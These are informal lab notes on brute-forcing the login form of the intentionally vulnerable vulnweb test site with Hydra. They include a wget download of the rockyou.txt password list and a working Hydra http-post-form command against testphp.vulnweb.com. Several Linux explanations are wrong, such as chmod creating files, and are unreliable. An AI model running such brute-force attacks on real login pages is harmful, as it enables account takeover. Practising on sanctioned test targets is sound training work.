

Hydra(Brute forcing)

Step1:

vulnweb link: <http://www.vulnweb.com/>

Step2:

Use google doc -<https://docs.cloud.google.com/shell/docs>

Step3:

Type **hydra**

Step4:

Sudo apt **intall** hydra

Step5:

*To **update** - sudo apt-get update

Step6:

Ls

Step7:

mkdir (*file name*) - make a direct

Repeat 6&7th step

Pwd or cwd (present working direct or current working direct)

cd **folder name**(change directory)

Cd ..(cm out from cd)

*****ls -l**(long list)

To create a file use ch mode

Ls -a(hidden files)

Nano .bash_history(text editor to open .bash_history)

Nano .bash_logout (cmplt history dlt ,user logout)

rmdir(remove directory,opp of mkdir)

Ls

N.b :the directory is removed

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Wget

[https://github.com/brannondorsey/naive-hashcat/releases/
download/data/rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt)

```
sivanyakc@cloudshell:~$ nano rockyou.txt
sivanyakc@cloudshell:~$ wc rockyou.txt
14344391 14442061 139921497 rockyou.txt
sivanyakc@cloudshell:~$ hydra -l <username> -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>" -bash: syntax error near unexpected token '<
sivanyakc@cloudshell:~$ hydra -l test -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>
sivanyakc@cloudshell:~$ hydra -l test -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>
sivanyakc@cloudshell:~$ hydra -l test -P rockyou.txt <target_ip> http-post-form "<url>:<post_data>:<failure_string>
sivanyakc@cloudshell:~$ hydra -l test -P rockyou.txt vulnweb.com http-post-form "<url>:<post_data>:<failure_string>
sivanyakc@cloudshell:~$ hydra -l test -P rockyou.txt vulnweb.com http-post-form "<url>:<post_data>:<failure_string>
```

hydra -l test -P rockyou.txt testphp.vulnweb.com

http-post-form

"/login.php:username=^USER^&password=^PASS^:F=Invalid
username or password"